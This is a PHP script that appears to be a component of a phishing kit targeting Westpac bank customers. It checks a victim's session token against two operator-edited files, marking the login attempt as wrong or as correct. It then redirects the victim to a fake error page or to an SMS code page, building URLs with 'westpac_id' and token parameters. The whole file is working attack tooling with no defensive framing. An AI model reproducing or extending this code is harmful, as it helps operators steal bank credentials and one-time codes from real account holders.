<?php
session_start();
include "../panel/send/panel.php";

$response = ['redirect' => false, 'url' => ''];
$randString = bin2hex(random_bytes(16));

function checkRedirection($file, $redirectPage, $randString) {
    global $response;
    if (!isset($_SESSION['auth_token'])) {
        return;
    }
    $currentToken = $_SESSION['auth_token'];
    if (file_exists($file)) {
        $lines = file($file, FILE_IGNORE_NEW_LINES);
        foreach ($lines as $line) {
            $token = trim($line);
            if ($currentToken === $token) {
                $lines = array_diff($lines, [$line]);
                file_put_contents($file, implode("\n", $lines));
                $securityHash = hash('sha256', $currentToken . $_SERVER['HTTP_USER_AGENT']);
                $response['redirect'] = true;
                $response['url'] = "$redirectPage?westpac_id={$randString}&ue={$randString}&token={$currentToken}&check={$securityHash}";
                return; // Ajouté pour éviter d'écraser la redirection si trouvée
            }
        }
    }
}

checkRedirection('../panel/fonctions/logfonctions/ghalet.txt', '../errors/logerror.php', $randString);
checkRedirection('../panel/fonctions/logfonctions/shih.txt', '../sms.php', $randString);

header('Content-Type: application/json');
echo json_encode($response);
?>